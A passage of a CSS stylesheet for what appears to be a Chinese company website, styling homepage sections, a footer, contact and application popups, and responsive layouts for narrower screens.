padding-bottom: 50px;
text-align: left
}
.cc-index-fangan .wrapper ul li:nth-child(2n) {
margin-right: 0
}
.cc-index-fangan .wrapper ul li>a {
display: block;
position: relative
}
.cc-index-fangan .wrapper ul li>a::before {
content: '';
position: absolute;
width: 100%;
height: 100%;
background: #fff;
z-index: 2;
opacity: 0;
transition: all .4s ease;
-webkit-transition: all .4s ease;
-moz-transition: all .4s ease;
-o-transition: all .4s ease;
-ms-transition: all .4s ease
}
.cc-index-fangan .wrapper ul li>a:hover::before {
opacity: .2
}
.cc-index-fangan .wrapper ul li>a img {
width: 100%;
height: auto
}
.cc-index-fangan .wrapper ul li p a {
display: block;
font-size: 15px;
padding: 20px 0 0 10px
}
.cc-index-fangan .wrapper ul li span {
display: block;
font-size: 13px;
padding: 8px 10px;
color: #a0a0a0;
line-height: 1.5
}
.cc-index-anli .wrapper .more,.cc-index-fangan .wrapper .more {
display: block;
width: 500px;
height: 50px;
line-height: 50px;
text-align: center;
margin: 0 auto;
border: 2px solid #313131;
vertical-align: middle;
transition: all .4s ease;
-webkit-transition: all .4s ease;
-moz-transition: all .4s ease;
-o-transition: all .4s ease;
-ms-transition: all .4s ease
}
.cc-index-anli .wrapper .more:hover,.cc-index-fangan .wrapper .more:hover {
color: #fff;
background: #313131
}
.cc-index-anli .w-1228 {
padding-bottom: 0
}
.cc-index-anli .wrapper {
overflow: hidden
}
.cc-index-anli .wrapper ul {
overflow: hidden;
width: 101%;
margin-left: -.5%;
margin-bottom: 50px
}
.cc-index-anli .wrapper ul li {
float: left;
width: 20%;
box-sizing: border-box;
border: 1px
}
.cc-index-anli .wrapper ul li {
border-right: 5px solid #fff
}
.cc-index-anli .wrapper ul li a {
position: relative;
display: block
}
.cc-index-anli .wrapper ul li a:hover .text {
opacity: .8
}
.cc-index-anli .wrapper ul li img {
width: 100%;
height: auto
}
.cc-index-anli .wrapper ul li p {
font-size: 13px;
text-align: center
}
.cc-index-anli .wrapper ul li .text {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0;
transition: all .4s ease;
-webkit-transition: all .4s ease;
-moz-transition: all .4s ease;
-o-transition: all .4s ease;
-ms-transition: all .4s ease;
background: #fff
}
.cc-index-anli .wrapper ul li .text p {
width: 80%;
margin: 0 auto;
position: relative;
z-index: 2;
color: #000;
margin-top: 30%
}
.cc-index-partner .wrapper a {
display: block
}
.cc-index-partner .wrapper img {
width: 100%
}
.cc-index-zonghe .w-1228 {
padding: 110px 0 65px;
overflow: hidden
}
.cc-index-zonghe .w-1228>._left {
width: 640px;
height: 414px;
position: relative
}
.cc-index-zonghe .w-1228 ._bottom a::before,.cc-index-zonghe .w-1228 ._top ._left a::before,.cc-index-zonghe .w-1228 ._top ._right a::before,.cc-index-zonghe .w-1228>._left a::before {
content: '';
position: absolute;
width: 100%;
height: 100%;
background: #fff;
opacity: 0;
transition: all .4s ease;
-webkit-transition: all .4s ease;
-moz-transition: all .4s ease;
-o-transition: all .4s ease;
-ms-transition: all .4s ease
}
.cc-index-zonghe .w-1228>._right {
width: 588px;
height: 414px
}
.cc-index-zonghe .w-1228 ._top {
overflow: hidden
}
.cc-index-zonghe .w-1228 ._top ._left,.cc-index-zonghe .w-1228 ._top ._right {
width: 284px;
height: 199px;
position: relative;
margin-left: 10px
}
.cc-index-zonghe .w-1228 ._bottom {
width: 578px;
margin: 10px 0 0 10px;
height: 205px;
position: relative
}
.cc-index-zonghe .w-1228 img {
width: 100%;
height: 100%
}
.cc-index-zonghe a {
display: block;
height: 100%
}
.cc-index-zonghe .w-1228 ._bottom a:hover::before,.cc-index-zonghe .w-1228 ._top ._left a:hover::before,.cc-index-zonghe .w-1228 ._top ._right a:hover::before,.cc-index-zonghe .w-1228>._left a:hover::before {
opacity: .2;
cursor: pointer
}
.cc-index-news .wrapper ._left {
width: 810px;
overflow: hidden
}
.cc-index-news .wrapper .tab-nav ul {
overflow: hidden
}
.cc-index-news .wrapper .tab-nav ul li {
float: left;
cursor: pointer;
width: 80px;
text-align: center;
height: 30px;
line-height: 30px;
margin: 0 5px;
background: #ececec;
border-radius: 15px;
font-size: 14px
}
.cc-index-news .wrapper .tab-nav ul li.active {
background: #313131;
color: #fff
}
.cc-index-news .wrapper .tab-nav ul li.active a {
color: #fff
}
.cc-index-news .wrapper .tab-nav ul li a {
color: #666;
font-size: 13px
}
.cc-index-news .wrapper .tab-content ul {
padding-top: 20px
}
.cc-index-news .wrapper .tab-content .article-list-item-wrapper {
display: none
}
.cc-index-news .wrapper .tab-content .article-list-item-wrapper:first-child {
display: block
}
.cc-index-news .wrapper .tab-content li {
overflow: hidden;
margin-bottom: 40px
}
.cc-index-news .wrapper .tab-content li ._left {
width: 173px;
height: 110px
}
.cc-index-news .wrapper .tab-content li ._left a {
display: block;
position: relative;
width: 173px;
height: 110px
}
.cc-index-news .wrapper .tab-content li ._left a::before {
content: '';
position: absolute;
width: 100%;
height: 100%;
opacity: 0;
background: #fff;
transition: all .4s ease;
-webkit-transition: all .4s ease;
-moz-transition: all .4s ease;
-o-transition: all .4s ease;
-ms-transition: all .4s ease
}
.cc-index-news .wrapper .tab-content li ._left a:hover::before {
opacity: .2
}
.cc-index-news .wrapper .tab-content li ._left img {
width: 100%;
height: 100%
}
.cc-index-news .wrapper .tab-content li .summary {
margin-left: 200px
}
.cc-index-news .wrapper .tab-content li .summary h3 a {
display: block;
font-size: 18px;
margin-bottom: 10px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
.cc-index-news .wrapper .tab-content li .summary p {
font-size: 14px;
color: #888;
text-overflow: -o-ellipsis-lastline;
overflow: hidden;
text-overflow: ellipsis;
display: -webkit-box;
-webkit-line-clamp: 2;
line-clamp: 2;
-webkit-box-orient: vertical
}
.cc-index-news .wrapper .tab-content li .summary .source {
overflow: hidden;
margin-top: 15px
}
.cc-index-news .wrapper .tab-content li .summary .source .author {
float: left;
font-size: 14px
}
.cc-index-news .wrapper .tab-content li .summary .source .time {
float: right;
font-size: 14px
}
.cc-index-news .wrapper ._right {
width: 330px;
overflow: hidden
}
.cc-index-news .wrapper ._right h2 {
font-family: 'Microsoft YaHei',"Microsoft YaHei",sans-serif;
font-size: 20px;
margin-bottom: 20px;
text-align: left
}
.cc-index-news .wrapper .article-list li {
height: 27px;
line-height: 27px;
margin-bottom: 15px
}
.cc-index-news .wrapper .article-list li i {
display: inline-block;
width: 25px;
height: 25px;
line-height: 25px;
text-align: center;
border: 1px solid #ccc;
margin-right: 10px;
vertical-align: top;
border-radius: 12.5px
}
.cc-index-news .wrapper .article-list li i.active {
border-color: #313131;
background: #313131;
color: #fff
}
.cc-index-news .wrapper .article-list li a {
white-space: nowrap;
overflow: hidden;
width: 280px;
text-overflow: ellipsis;
display: inline-block
}
.cc-index-news .wrapper .article-list li a:hover {
color: #a0a0a0
}
#cc-index-footer {
background: #1b1b1b
}
#cc-index-footer .wrapper {
padding-top: 30px
}
#cc-index-footer .wrapper .top {
overflow: hidden;
padding-bottom: 25px
}
#cc-index-footer .wrapper .top .top-l {
width: 220px;
padding-left: 80px;
position: relative
}
#cc-index-footer .wrapper .top .top-l .img-wrapper {
width: 50px;
position: absolute;
left: 0
}
#cc-index-footer .wrapper .top .top-l .img-wrapper img {
width: 100%;
height: auto
}
#cc-index-footer .wrapper .top .top-l h2,#cc-index-footer .wrapper .top .top-l p {
color: #fff
}
#cc-index-footer .wrapper .top .top-l h2 {
font-size: 16px;
color: #d7d8d9;
height: 30px;
text-align: left;
padding-bottom: 10px;
font-weight: 400
}
#cc-index-footer .wrapper .top .top-l p {
font-size: 20px;
color: #fff;
height: 30px
}
#cc-index-footer .wrapper .top .top-l .wechar .wechar_image {
position: absolute;
top: 140px;
left: 50px;
text-align: center
}
#cc-index-footer .wrapper .top .top-l .wechar .wechar_image a {
display: block;
color: #9b9ea0;
font-size: 14px;
line-height: 30px
}
#cc-index-footer .wrapper .top .top-l .wechar .wechar_ecode {
position: absolute;
top: 140px;
left: 160px;
text-align: center
}
#cc-index-footer .wrapper .top .top-l .wechar .wechar_ecode span {
display: block;
color: #9b9ea0;
font-size: 14px;
line-height: 30px
}
#cc-index-footer .wrapper .top .top-l li {
height: 30px;
line-height: 30px
}
#cc-index-footer .wrapper .top .top-l li a {
color: #9b9ea0;
font-size: 14px
}
#cc-index-footer .wrapper .top .top-l li a:hover {
color: #fff
}
#cc-index-footer .wrapper .top .top-r {
padding-left: 100px;
border-left: 1px solid #4b5054;
overflow: hidden
}
#cc-index-footer .wrapper .top .top-r>ul>li {
float: left;
margin-left: 60px
}
#cc-index-footer .wrapper .top .top-r>ul>li h3 {
color: #d7d8d9;
font-size: 13px;
font-weight: 400
}
#cc-index-footer .wrapper .top .top-r>ul>li ul {
margin: 14px 0 20px;
width: 130px
}
#cc-index-footer .wrapper .top .top-r>ul>li ul li {
margin-top: 4px
}
#cc-index-footer .wrapper .top .top-r>ul>li a {
font-size: 12px;
color: #9b9ea0
}
#cc-index-footer .wrapper .top .top-r>ul>li a:hover {
color: #fff
}
#cc-index-footer .wrapper .more_web {
border-top: 1px solid #4b5054;
padding: 10px 20px 10px 0;
box-sizing: border-box;
text-align: justify
}
#cc-index-footer .wrapper .more_web ul>li {
display: inline-block
}
#cc-index-footer .wrapper .more_web ul>li>a {
font-size: 12px;
color: #9b9ea0
}
#cc-index-footer .wrapper .footer_beian {
text-align: center
}
#cc-index-footer .wrapper .footer_beian a {
display: inline-block;
line-height: 30px;
height: 30px
}
#cc-index-footer .wrapper .footer_beian .certify-img {
height: 30px;
display: inline-block;
background-size: auto 30px;
background-repeat: no-repeat
}
#cc-index-footer .wrapper .footer_beian .kxwz {
opacity: .4;
background: url(../images/foot-renzheng.png) -1px -10px;
width: 97px
}
#cc-index-footer .wrapper .footer_beian .kxwz:hover {
opacity: 1
}
#cc-index-footer .wrapper .footer_beian .yhxxjb {
opacity: .4;
background: url(../images/foot-renzheng.png) -107px -4px;
width: 72px
}
#cc-index-footer .wrapper .footer_beian .yhxxjb:hover {
opacity: 1
}
#cc-index-footer .wrapper .footer_beian .police {
opacity: .4;
background: url(../images/foot-renzheng.png) -202px -4px;
width: 87px
}
#cc-index-footer .wrapper .footer_beian .police:hover {
opacity: 1
}
#cc-index-footer .wrapper .footer_beian .renzheng {
opacity: .4;
background: url(../images/foot-renzheng.png) -311px -10px;
width: 40px
}
#cc-index-footer .wrapper .footer_beian .renzheng:hover {
opacity: 1
}
#cc-index-footer .wrapper .footer_beian .cxwz {
opacity: .4;
background: url(../images/foot-renzheng.png) -373px -10px;
width: 85px
}
#cc-index-footer .wrapper .footer_beian .cxwz:hover {
opacity: 1
}
#cc-index-footer .wrapper .middle {
border-top: 1px solid #4b5054;
padding: 10px 20px 10px 0;
box-sizing: border-box;
text-align: justify
}
#cc-index-footer .wrapper .middle p {
font-size: 12px;
color: #444
}
#cc-index-footer .wrapper .bottom {
height: 70px;
line-height: 70px;
text-align: center;
border-top: 1px solid #4b5054;
color: #a0a0a0
}
#cc-index-footer .wrapper .bottom p span {
font-size: 12px;
color: #444
}
input:focus {
outline: 0
}
.f-l {
float: left
}
.f-r {
float: right
}
.tip-box {
z-index: 3147483647;
font-size: 14px
}
.contact-box {
position: fixed;
right: 0;
top: 35%;
color: #fff;
width: 90px;
text-align: center;
z-index: 5
}
.contact-box span {
display: block;
font-size: 12px;
padding-top: 10px
}
.contact-box li {
padding: 10px 0;
background: rgba(0,0,0,.8);
cursor: pointer
}
.contact-box li:first-child {
padding-top: 15px;
border-radius: 4px 0 0 0
}
.contact-box li:last-child {
padding-bottom: 15px;
border-radius: 0 0 0 4px
}
.contact-box li:hover {
background: rgba(0,0,0,.9)
}
.call-box {
background: #fff;
z-index: 10000;
display: none;
width: 514px;
height: 280px;
position: fixed;
top: 50%;
margin-top: -140px;
right: 100px;
box-shadow: 0 0 5px 1px #484343;
text-align: center;
box-sizing: border-box;
padding: 20px
}
.call-box .large-tit {
font-size: 33px;
font-weight: 700;
color: #212224;
line-height: 24px;
margin-bottom: 16px
}
.call-box .common-p span {
font-size: 12px;
color: #999;
text-align: justify
}
.call-box .sub-tit {
line-height: 24px;
margin-bottom: 1rem
}
.call-box input {
width: 370px;
height: 34px;
border: 1px solid #ccc;
border-radius: 4px;
text-indent: 10px;
font-size: 16px
}
.call-box input::-webkit-input-placeholder {
color: #999;
font-size: 16px
}
.call-box .des {
line-height: 24px;
margin-top: 16px
}
.call-box .call-back {
display: inline-block;
width: 112px;
height: 42px;
line-height: 42px;
background: #212224;
color: #fff;
font-size: 14px;
border-radius: 2px;
margin-top: 20px
}
.call-box .call-back:hover {
background: #5b5e63
}
.call-box .call-close {
position: absolute;
top: 5px;
right: 5px;
cursor: pointer
}
.apply-box {
background: #fff;
z-index: 10001;
display: none;
width: 1000px;
height: 620px;
position: fixed;
top: 50%;
margin-top: -310px;
right: 100px;
box-shadow: 0 0 5px 1px #484343;
box-sizing: border-box;
padding: 0 20px;
background: #fff
}
.apply-box .a-b-tit {
border-bottom: 2px solid #212224;
padding: 10px 0 10px 10px
}
.apply-box .a-b-con {
overflow: hidden;
box-sizing: border-box;
padding: 10px 20px
}
.apply-box .a-b-con .f-l:first-child {
width: 45%
}
.apply-box .a-b-con .f-l:last-child {
width: 55%
}
.apply-box .a-b-con .a-b-con-tit {
font-size: 14px
}
.apply-box .a-b-con .check-box-area {
padding: 10px 0
}
.apply-box .a-b-con .check-box-area ul {
overflow: hidden
}
.apply-box .a-b-con .check-box-area li {
width: 50%;
float: left;
margin: 10px 0
}
.apply-box .a-b-con .check-box-area li label {
font-size: 14px;
vertical-align: top;
padding-left: 10px
}
.apply-box .a-b-con .input-area {
padding: 20px 0;
height: 557px;
box-sizing: border-box;
border-left: 1px solid #ccc
}
.apply-box .a-b-con .input-area li {
overflow: hidden;
margin-bottom: 20px
}
.apply-box .a-b-con .input-area li .red {
vertical-align: middle;
color: red
}
.apply-box .a-b-con .input-area li .left {
width: 40%;
text-align: right;
line-height: 26px;
font-size: 15px
}
.apply-box .a-b-con .input-area li .right {
width: 60%;
position: relative
}
.apply-box .a-b-con .input-area li .right input {
margin-left: 10px;
height: 26px;
line-height: 26px;
text-indent: 10px;
width: 95%;
border: 1px solid #ccc;
font-size: 14px
}
.apply-box .a-b-con .input-area li .right input.active {
border-color: red
}
.apply-box .a-b-con .input-area li .right select {
height: 28px;
border-radius: 0;
border: 1px solid #ccc;
font-size: 14px
}
.apply-box .a-b-con .input-area li .right select option {
font-size: 14px
}
.apply-box .a-b-con .input-area li .right #cmbProvince {
margin-left: 10px
}
.apply-box .a-b-con .input-area li .right textarea {
margin-left: 10px;
width: 269px;
height: 150px;
font-size: 14px;
padding: 5px 10px;
resize: none;
border: 1px solid #ccc
}
.apply-box .a-b-con .input-area li .right .abs {
position: absolute;
right: 10px;
top: 3.5px;
font-size: 14px;
color: #666
}
.apply-box .submit {
display: inline-block;
width: 112px;
height: 42px;
line-height: 42px;
background: #212224;
color: #fff;
font-size: 14px;
border-radius: 2px;
margin-top: 20px;
text-align: center;
margin-left: 233px
}
.apply-box .submit:hover {
background: #5b5e63
}
.apply-box .call-close {
position: absolute;
top: 5px;
right: 5px;
cursor: pointer
}
.youlian {
margin-bottom: 60px
}
.youlian p {
padding: 60px 0 8px 8px
}
.youlian p {
padding: 60px 0 8px 8px
}
.youlian div {
padding: 20px 42px
}
.youlian div a {
width: 127px;
line-height: 26px;
float: left;
font-size: 12px;
color: #5a5757
}
.phone-back {
display: none
}
#cc-index-header .slide-nav-right #car-box {
position: absolute;
width: 25px;
height: 100%;
cursor: pointer;
right: 266px
}
#cc-index-header .slide-nav-right #car-box img {
width: 25px;
height: auto;
position: absolute;
top: 50%;
margin-top: -12.5px;
margin-left: -24px;
}
#cc-index-header .slide-nav-right #car-box #car_num {
position: absolute;
background: #e56a69;
color: #fff;
width: 18px;
height: 18px;
font-size: 12px;
font-weight: lighter;
line-height: 18px;
text-align: center;
border-radius: 9px;
font-family: SimSun;
right: 22px;
top: 8px
}
/**
*�Ƽ�������ʽ
*/
.pop-up{
width: 400px;
height: 450px;
position: fixed;
bottom: 0;
z-index:110;
box-shadow: 5px 0px 20px #888888;
}
.head{
width: 400px;
height: 25px;
background:#fa8c16;
border-bottom:1px solid #0C0C0C;
}
.head span{
line-height:25px;
position:absolute;
font-size:14px;
}
.x{
float:right;
border-radius:50%
}
.appbar{
width: 400px;
height: 50px;
background:#e6eaeb;
border-bottom:1px solid #0C0C0C;
}
.appbar ul li{
float:left;
text-decoration:none;
color:#0C0C0C;
}
.appbar ul li a{
padding:0px 10px;
font-size:12px;
}
.picure{
width: 400px;
height: 250px;
background:#e6eaeb;
}
.picure ul li{
display:none;
position:absolute;
}
.picure ul li:first-child{
display:block;
}
.picure ul li a{
display:block;
}
.picure ul li a img{
width: 400px;
height: 250px;
}
.picure ol{
width: 400px;
height: 50px;
background:#e6eaeb;
position:relative;
bottom:-250px;
}
.picure ol li a img{
float: left;
width: 50px;
height: 50px;
cursor:pointer;
}
.arrow span {
width:20px;
height:30px;
background:rgba(0,0,0,0.05);
color:#fff;
position:absolute;
top:45%;
transform:translate(0,-50%);
line-height:30px;
text-align:center;
font-size:20px;
cursor:pointer;
}
.arrow-l{
left:20px;
}
.arrow-r{
right:20px;
}
.more-picure{
width: 400px;
height: 50px;
background:#e6eaeb;
border-bottom:1px solid #0C0C0C;
}
.more-picure a img{
width:44px;
height:50px;
}
.case{
width:400px;
height:73px;
position:relative;
bottom:-50px;
background:#e6eaeb;
}
.case p{
margin-left:10px;
}
.case p a{
color:#0C0C0C;
font-size:12px;
text-decoration:none;
}
.one{
color:#f54545;
font-size:12px;
}
.two{
color:#ff8547;
font-size:12px;
}
.three{
color:#ffac38;
font-size:12px;
}
@media screen and (max-width:1550px) {
.w_car {
width: 1300px
}
.car_body .car_content h2,.car_body .car_msg .input_wrapper,.car_body .car_msg h2 {
width: 1200px
}
}
@media screen and (max-width:1440px) {
#cc-index-header .slide-nav-right #car-box{right: 346px!important;}
#cc-index-header .middle .logo img{padding-left: 585px!important;}
.w-new {
width: 1100px
}
.ali-join-us .w {
width: 1100px
}
.ali-col-4-x ul li,.ali-col-4-y ul li {
width: 258px
}
.ali-col-4-x ul li .left {
margin-left: 20px
}
.ali-col-4-x ul li .right {
width: 159px
}
.ali-col-3-x ul li {
width: 346px;
margin-right: 28px
}
.ali-col-3-x ul li .left {
margin-left: 45px
}
.ali-col-3-x ul li .right {
width: 232px
}
.w-1228 {
width: 1100px
}
.im-big-img {
height: 440px
}
.im-big-img .im-big-img-banner li div {
left: 20%;
top: 30%
}
.company .com-adv .com-adv-c-r {
width: 735px
}
.lianxi p {
font-size: 14px;
line-height: 24px
}
.quest .bd .index-xinwen-list li:nth-child(odd) {
margin-right: 20px
}
.index-news .quest li {
margin: 0
}
.quest .bd .index-xinwen-list li {
margin-bottom: 0
}
.zt-wrapper .zt-item-text img {
width: 750px
}
.w-spe {
width: 1200px;
height: 350px
}
.ali {
margin-top: 20px
}
.ali ul {
width: 1920px
}
.ali ul img {
width: 240px
}
.ali ul li {
width: 240px
}
.ali ul li .ali-div img {
width: 57px
}
.ali ul li .ali-div p.item-l {
line-height: 35px
}
.ali ul li .ali-div p.item-t {
font-size: 18px;
margin-bottom: 15px
}
.ali ul li .ali-div p.item-p {
font-size: 12px
}
.ali ul li .ali-div {
bottom: -40px
}
.ali ul li .ali-div p.item-p {
margin-bottom: 80px
}
.ali ul li:hover .ali-div p.item-p {
margin-bottom: 30px
}
.ali ul li:hover .ali-div {
bottom: 55px
}
.ali-next,.ali-prev {
line-height: 350px;
width: 40px
}
.w3 {
width: 1100px
}
.w2 {
width: 1100px
}
.w {
width: 1100px
}
.w8 {
width: 1050px
}
.wwe {
width: 1220px
}
.news-area dl {
margin-right: 50px
}
.index-news .quest li {
width: 330px
}
#index-new-list ul:first-child {
left: 0;
top: 0
}
#index-new-list ul:nth-child(2) {
left: 360px;
top: 0
}
#index-new-list ul:last-child {
left: 720px;
top: 0
}
.index-news .text .des a {
display: inline-block;
height: 110px;
overflow: hidden
}
.about-img {
width: 100%
}
.w_fl222 .next-pre a {
width: 350px
}
#aboutBcs {
width: 1100px;
margin: 56px auto 0 auto
}
.product-erjimenu {
top: 50px
}
.mianbaoxue-erji {
margin-top: 110px!important
}
.new-pro-mbx {
margin-top: 50px!important
}
.mbx-anli {
margin: 110px auto 0 auto!important
}
.dede_pages {
margin: 0 auto 30px auto
}
.dede_pages .pagelist {
width: 1100px
}
#navigation {
width: 100%
}
.hr_nav li {
padding: 0 5px
}
.hr_nav li:last-child img {
margin-right: 0
}
.hr_nav li a {
padding: 0 16px;
font-size: 14px;
background-size: 1px 12px
}
.hr_nav li:last-child span {
font-size: 16px
}
.hr_nav li:last-child {
margin-left: 15px
}
.pc-show {
display: block
}
.phone-show {
display: none
}
.main-content {
width: 1100px;
margin: 0 auto
}
.m-l {
margin-left: 0
}
#logo {
margin: 23px auto
}
#logo h1 {
line-height: 46px;
margin-top: -2px;
font-size: 21px
}
#zhinan .spe .title,#zhinan dl dt {
font-size: 14px
}
#zhinan dd a {
font-size: 13px
}
#zhinan .foot-left .title {
font-size: 15px
}
#zhinan .foot-left a {
padding: 4px 24px
}
#zhinan .foot-left,#zhinan .foot-right {
margin-top: 10px
}
#header2 li a {
padding: 20px 18px
}
#header2 li:first-child {
margin: 16px 18px 0 0
}
#header2 li:last-child {
margin: 14px 0 0 50px
}
.index-outerbox {
padding-bottom: 15px
}
#header2 li .header-chengnuo {
margin-top: -4px;
margin-left: 10px
}
#header2 li span {
font-size: 14px
}
.china_jiaju a {
bottom: 34%
}
.contact {
top: 25%
}
.qq_content img {
width: 100%;
height: auto
}
.slideBox {
height: auto
}
.slideBox .hd {
bottom: 10px
}
.slideBox .bd {
left: 0;
margin-left: 0;
width: 100%
}
.slideBox .bd li img {
width: 100%;
height: auto
}
div.indexTop {
width: 1100px
}
.index-xinpin {
width: 1060px;
padding: 20px
}
.index-xinpin .text {
width: 55%;
padding: 15px 15px
}
.slideTxtBox ul li {
width: 23.3%;
margin: 0 22px 0 0
}
.slideTxtBox ul li:nth-of-type(1) {
margin: 0 22px 20px 0
}
.slideTxtBox ul li:nth-of-type(2) {
margin: 0 22px 20px 0
}
.slideTxtBox ul li:nth-of-type(3) {
margin: 0 22px 20px 0
}
.slideTxtBox ul li:nth-of-type(4) {
margin: 0 0 20px 0
}
.index-friend .index-friend-list li {
width: 12.4%;
height: 105px;
overflow: hidden
}
.jingdian ul li {
width: 48%;
margin-bottom: 0!important
}
.index-peitao-level2 {
width: 27%
}
.import_news .ptfa li .right {
padding: 1%;
width: 62%;
margin: 0
}
.quest {
width: 1100px
}
.quest .hd li {
width: 85px;
margin-right: 5px
}
.index-hangye-h3 a {
font-size: 14px
}
.quest .bd .index-xinwen-list li {
width: 327px;
margin: 0 20px 15px 20px;
height: 70px
}
.quest .index-new-qiehuan {
width: 735px
}
.quest .index-new-qiehuan .bd {
width: 735px!important
}
.index-news .text .des {
height: 190px
}
.index-news .btn .next {
right: 9%
}
.index-news .btn .prev {
left: 9%
}
.slideTxtBox_2 .askk {
width: 328px
}
.slideTxtBox_2 .askul li .text {
padding: 0 11px
}
#slideTxtBox_2 .tempWrap {
height: 322px!important;
width: 330px
}
.index-anli ul li {
width: 49%;
padding: 0;
margin-right: 2%
}
.index-fangan ul li p {
padding: 0 16px;
font-size: 12px;
text-align: justify
}
.quest .bd .index-xinwen-list {
padding: 20px 0 0 0
}
.index-about {
width: 1100px
}
.index-about>img {
width: 48%
}
.index-about .text {
width: 47%;
padding: 22px 26px 0
}
.index-about .text p {
font-size: 13px;
line-height: 26px
}
.index-about .text a {
margin-top: 16px;
font-size: 14px;
padding: 2px 8px
}
.slideTxtBox ul li .img {
height: auto
}
.slideBox .bd>a {
margin-left: -25%;
text-align: center
}
.slideBox .bd>a img {
width: 85%;
height: auto
}
.slideBox .hd ul li {
width: 30px
}
.index-anli .list-li2 .index-proj-logo {
top: 26%
}
.index-anli .list-li2:hover .index-proj-logo {
top: 25%
}
.index-anli .dingzhi-anli-list .list-li2 {
margin: 0 1.7% 3% 0
}
.index-news {
margin-top: 80px
}
.index-news .quest {
padding: 0
}
.index-news .quest .text {
padding: 20px;
height: 180px;
overflow: hidden
}
.index-news .btn .next,.index-news .btn .prev {
top: 50%
}
.index-peisong {
margin: 75px auto
}
.index-peisong .img {
width: 100%
}
.index-peisong img {
margin-right: 2%;
width: 352px
}
.box-bg .h2_com {
padding: 15px 0 6px 0
}
.box-bg {
padding-bottom: 20px
}
.index-anli .dingzhi-anli-list .list-li2 {
margin-bottom: 0
}
.jingdian {
margin: 10px auto 40px
}
.index-product {
margin-top: 44px
}
.zhengti {
margin: 0 auto 44px
}
.index-fangan {
margin: 44px auto 80px
}
.index-chejian {
margin-top: 80px
}
.index-friend {
margin-top: 30px
}
.aboutinner {
width: 1100px;
padding: 0
}
#dzal_banner {
width: 100%
}
#dzal_banner img {
width: 100%!important;
height: auto!important
}
.about-history .w2 {
background-size: 1100px 670px
}
.aboutbodyspe .ab-common01 .article {
margin-left: 25px;
width: 465px
}
.aboutbodyspe .ab-common02 .article {
margin-right: 25px;
width: 465px
}
.about-public-content {
width: 1100px
}
.about-dingzhi-content {
width: 1010px
}
.about-content li span {
top: 52px
}
.about-erjimenu li>a {
padding: 13px 0;
background: 0 0!important;
}
.about-erjimenu li.on a {
background: url(../images/20171122-caidan01.jpg) no-repeat center 45px!important
}
.lxwm-content {
margin-bottom: 30px
}
.lxwm-content .ul1 li:first-child {
margin-bottom: 30px
}
.lxwm-content .ul1 li:first-child .wenzi {
width: 54%;
margin-top: 6px
}
.lxwm-content .ul1 li:first-child .title {
margin: 12px 0 12px
}
.lxwm-content .ul1 li .p2 {
font-size: 12px;
padding: 8px 0 0 0;
line-height: 20px
}
.lxwm-content .first .p3 {
font-size: 13px;
line-height: 22px;
margin-bottom: 10px
}
.lxwm-content .ul1 .first img {
width: 48%
}
.lxwm-content .ul1 li img {
width: 190px
}
.lxwm-content .ul1 li .title {
margin: 5px 0 10px
}
.lxwm-content .ul1 li .p3 {
font-size: 12px;
line-height: 22px
}
.lxwm-content .ul1 .wenzi {
width: 51%;
padding: 0 2%
}
.lxwm-content .ul1 .first span img {
width: 18px
}
.lxwm-content .first .title {
margin: 20px 0 10px
}
.lxwm-content .ul2 li {
margin: 0 2.2% 0 0
}
.lxwm-content .ul2 li img {
width: 100%
}
.lxwm-content .ul3 li {
margin-right: 1.5%;
width: 16%
}
.lxwm-content .ul3 li:nth-of-type(3) {
width: 30%
}
.lxwm-content .ul3 li img {
width: 100%;
height: 140px
}
.lxwm-content .ul3 li:last-child {
width: 100%
}
.lxwm-content .wenzi span {
margin: 7px 8px 8px 0
}
.dingzhi-liucheng .time01 {
font-size: 36px;
padding: 0 15px 0
}
.dingzhi-tit-bg {
padding: 20px 40px
}
.dingzhi-liucheng .time02 {
width: 1100px;
margin: 50px auto auto;
background-size: 100%
}
.dingzhi-liucheng .time02 .sp01 {
font-size: 18px
}
.dingzhi-liucheng .time02 .sp02 {
font-size: 16px
}
.dingzhi-liucheng .time02 span {
font-size: 40px;
padding: 50px 0 10px
}
.dingzhi-liucheng .time02 .sp03 {
font-size: 16px;
margin-top: 45px
}
.dingzhi-liucheng .time02 li:nth-of-type(1) {
width: 190px;
margin: 0 55px 0 15px
}
.dingzhi-liucheng .time02 li:nth-of-type(2) {
width: 285px
}
.dingzhi-liucheng .time02 li:nth-of-type(3) {
width: 240px;
margin: 0 85px 0 35px
}
.dingzhi-liucheng .single-img-01 {
width: 80%
}
.dingzhi-liucheng .time03 {
margin: 50px auto 20px auto
}
.dingzhi-liucheng .time03 p {
font-size: 14px
}
.dingzhi-liucheng .time03 li {
width: 350px;
margin: 0 0 40px 175px
}
.dingzhi-liucheng .time03 .t1 {
font-size: 18px
}
.dingzhi-liucheng .time04 {
margin: 30px auto 50px
}
.dingzhi-liucheng .time04 li {
margin: 0 40px 0 55px
}
.dingzhi-liucheng .time04 li img {
padding: 30px 15px;
width: 33%
}
.dingzhi-liucheng .time04 .y {
margin-top: 15px;
width: 130px
}
.dingzhi-liucheng .time04 .sp1 {
font-size: 18px;
width: 110px;
line-height: 26px
}
.dingzhi-liucheng .songzhuang-img {
margin: 40px auto
}
.dingzhi-liucheng .qingjing-t {
font-size: 20px;
padding: 17px 0;
margin: 40px 0 20px
}
.dingzhi-liucheng .qingjing-p2 {
margin: 20px auto 0
}
.dingzhi-liucheng .qingjing-img {
margin: 25px auto 10px;
width: 75%
}
.dingzhi-liucheng .time04 li .sp {
font-size: 14px
}
.neiye-banner2 img {
width: 100%
}
.about-content2>img {
width: 90%
}
div#helpBody {
width: 1100px
}
#helpcenter {
width: 75%
}
div#textList {
width: 20%
}
div#textList .zhinan dt {
width: 100%
}
#helpcenter .liucheng_2 {
padding: 0 20px
}
.shaixuan-box {
width: 1100px
}
.shaixuan-box li {
padding: 0 15px 0 15px;
width: 90px
}
.shaixuan-box .first {
width: 100%
}
.shaixuan-box .first ul {
overflow: hidden;
float: left
}
.dingzhi-anli-list {
width: 1100px
}
.dingzhi-anli-list .list-li2 {
width: 23.5%;
margin: 0 1.7% 3% 0;
min-height: 330px
}
.dingzhi-anli-list .list-li2:nth-child(4n) {
margin-right: 0
}
.dingzhi-anli-list .list-li2 .img {
height: 160px
}
.dingzhi-anli-list .list-li2 p {
height: 90px
}
#list_jingxuan {
width: 1100px
}
#list_jingxuan ul {
width: 100%
}
#list_jingxuan ul li {
width: 170px;
height: 160px;
margin: 15px 15px 0 0
}
#list_jingxuan ul li:last-child {
margin-right: 0
}
#list_jingxuan ul li img {
width: 100%;
height: auto
